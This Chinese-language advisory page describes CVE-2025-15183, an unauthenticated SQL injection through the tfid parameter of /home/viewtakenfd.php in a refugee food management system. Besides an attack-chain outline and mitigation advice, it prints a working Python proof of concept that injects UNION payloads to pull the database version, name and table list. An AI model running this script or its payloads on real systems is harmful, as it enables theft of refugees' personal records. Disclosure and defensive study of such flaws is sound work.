IPBUF安全漏洞报告
English
CVE-2025-15183 CVSS 7.3 高危

CVE-2025-15183: Refugee Food Management System SQL注入漏洞

披露日期: 2025-12-29

漏洞信息

漏洞编号
CVE-2025-15183
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
code-projects Refugee Food Management System 1.0

相关标签

SQL注入CVE-2025-15183Refugee Food Management Systemcode-projects高危漏洞Web应用安全数据库安全远程代码执行无需认证

漏洞概述

CVE-2025-15183是code-projects平台上Refugee Food Management System 1.0版本中的一个高危SQL注入漏洞。该系统是一款用于管理难民食物分配的管理系统,由code-projects组织开发。漏洞存在于系统中的/home/viewtakenfd.php文件,攻击者可以通过操纵tfid参数注入恶意SQL语句。由于该漏洞可被远程利用且无需任何认证,攻击者可以在不登录系统的情况下直接获取数据库中的敏感信息。此漏洞的CVSS评分为7.3,属于高危级别,意味着对系统的机密性、完整性和可用性都造成一定影响。攻击者可能利用此漏洞获取系统中存储的难民个人信息、食物分配记录、用户账户数据等敏感数据,甚至可能在特定配置下进行进一步的攻击。漏洞已于2025年12月29日公开披露, exploit代码已在互联网公开,强烈建议受影响用户立即采取修复措施。

技术细节

该SQL注入漏洞存在于Refugee Food Management System的/home/viewtakenfd.php文件中,具体问题出在对tfid参数的处理上。系统在处理用户输入的tfid参数时,直接将其拼接到SQL查询语句中而未进行充分的输入验证和参数化查询处理。攻击者可以通过构造恶意的SQL语句片段,利用UNION SELECT、布尔盲注、时间盲注等技术从数据库中提取敏感信息。由于参数位置在SQL语句中可控,攻击者可以修改查询逻辑,例如通过UNION注入获取其他表的数据,或使用条件语句进行数据推断。典型的攻击payload可能包含单引号、双破折号、UNION关键字等SQL特殊字符。攻击者通常先通过测试确认注入点,然后逐步构造更复杂的payload来枚举数据库结构、表名、列名,最终提取目标数据。该漏洞影响系统的数据安全,可能导致难民个人信息、食物分配记录等敏感数据泄露。

攻击链分析

STEP 1
步骤1: 侦察和信息收集
攻击者首先识别目标系统,确认其运行Refugee Food Management System 1.0版本,并通过扫描发现/home/viewtakenfd.php端点存在
STEP 2
步骤2: 漏洞点识别
攻击者测试tfid参数,发送包含SQL特殊字符(如单引号、双破折号)的请求,观察服务器响应以确认SQL注入漏洞存在
STEP 3
步骤3: 构造注入payload
根据数据库类型和后端技术,攻击者构造针对性的SQL注入payload,如UNION SELECT或布尔盲注语句
STEP 4
步骤4: 数据库枚举
利用注入点枚举数据库结构,包括数据库名、表名、列名等元数据信息
STEP 5
步骤5: 数据提取
通过构造的SQL查询语句提取敏感数据,如难民个人信息、食物分配记录、用户账户凭据等
STEP 6
步骤6: 权限提升或横向移动
获取数据库凭据后,攻击者可能尝试获取系统shell访问权限或横向移动到其他系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-15183 SQL Injection PoC # Target: Refugee Food Management System 1.0 # Vulnerability: SQL Injection in /home/viewtakenfd.php via tfid parameter def exploit_sqli(target_url, payload): """ Exploit SQL injection vulnerability target_url: Base URL of the vulnerable application payload: SQL injection payload to inject """ # Construct the vulnerable URL vuln_url = f"{target_url}/home/viewtakenfd.php" # Parameters with SQL injection payload params = { 'tfid': payload } try: # Send GET request with injected payload response = requests.get(vuln_url, params=params, timeout=10) print(f"[*] Target URL: {response.url}") print(f"[*] Status Code: {response.status_code}") print(f"[*] Response Length: {len(response.text)}") return response except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None def test_basic_injection(target_url): """Test for basic SQL injection""" # Basic injection to trigger SQL error payloads = [ "1'", # Single quote to break query "1'", # Double quote variant "1 OR 1=1", # OR condition injection "1' OR '1'='1", # String-based OR injection "1' UNION SELECT NULL--", # UNION-based injection ] for payload in payloads: print(f"\n[*] Testing payload: {payload}") response = exploit_sqli(target_url, payload) if response and ('sql' in response.text.lower() or 'error' in response.text.lower()): print("[+] Potential SQL injection detected!") return True return False def extract_database_info(target_url): """Extract database information using UNION injection""" # Database version extraction payload version_payload = "1' UNION SELECT NULL,@@version--" print(f"\n[*] Extracting database version...") exploit_sqli(target_url, version_payload) # Database name extraction payload dbname_payload = "1' UNION SELECT NULL,database()--" print(f"\n[*] Extracting database name...") exploit_sqli(target_url, dbname_payload) # Table enumeration payload tables_payload = "1' UNION SELECT NULL,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()--" print(f"\n[*] Enumerating tables...") exploit_sqli(target_url, tables_payload) if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve_2025_15183_poc.py <target_url>") print("Example: python cve_2025_15183_poc.py http://192.168.1.100/refugee-food-management") sys.exit(1) target = sys.argv[1].rstrip('/') print("=" * 60) print("CVE-2025-15183 SQL Injection PoC") print("Target: Refugee Food Management System 1.0") print("Vulnerable File: /home/viewtakenfd.php") print("Vulnerable Parameter: tfid") print("=" * 60) # Test for SQL injection if test_basic_injection(target): print("\n[!] SQL Injection vulnerability confirmed!") # Extract database information extract_database_info(target) else: print("\n[-] No obvious SQL injection detected.")

影响范围

Refugee Food Management System 1.0

防御指南

临时缓解措施
在官方修复方案发布之前,建议采取以下临时缓解措施:1) 使用Web应用防火墙规则阻止包含SQL注入特征的请求;2) 在应用层对tfid参数进行严格的输入验证,拒绝包含单引号、双破折号、UNION、SELECT等SQL关键字的请求;3) 限制对/home/viewtakenfd.php端点的访问,仅允许受信任的IP地址访问;4) 监控数据库日志,关注异常的SQL查询模式;5) 考虑暂时禁用受影响的功能模块,待官方修复后再恢复使用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表